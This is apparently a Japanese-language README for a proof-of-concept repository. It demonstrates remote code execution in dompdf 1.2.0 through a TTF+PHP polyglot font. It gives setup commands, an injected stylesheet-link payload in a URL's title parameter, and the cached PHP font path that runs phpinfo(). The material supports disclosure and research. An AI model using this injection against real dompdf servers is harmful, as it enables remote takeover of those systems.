dompdf 向け RCE エクスプロイト

このリポジトリには、dompdf 1.2.0 を使用した脆弱なデモアプリケーションと、ttf+php ポリグロットファイルを介してリモートコード実行を実現するエクスプロイトが含まれています。

詳細は、https://positive.security/blog/dompdf-rce をご覧ください。

手順

1. デモアプリケーションを実行します

$ cd application
$ php -S localhost:9000

2. エクスプロイトサーバーを実行します

$ cd exploit
$ php -S localhost:9001

3. エクスプロイトをトリガーします

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. キャッシュされた php「フォント」ファイルにアクセスして phpinfo() を実行します

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

注意: 異なるドメインやポートを使用する場合は、exploit/exploit.css を適宜編集し、完全なフォントファイル名を application/dompdf/lib/fonts で確認してください。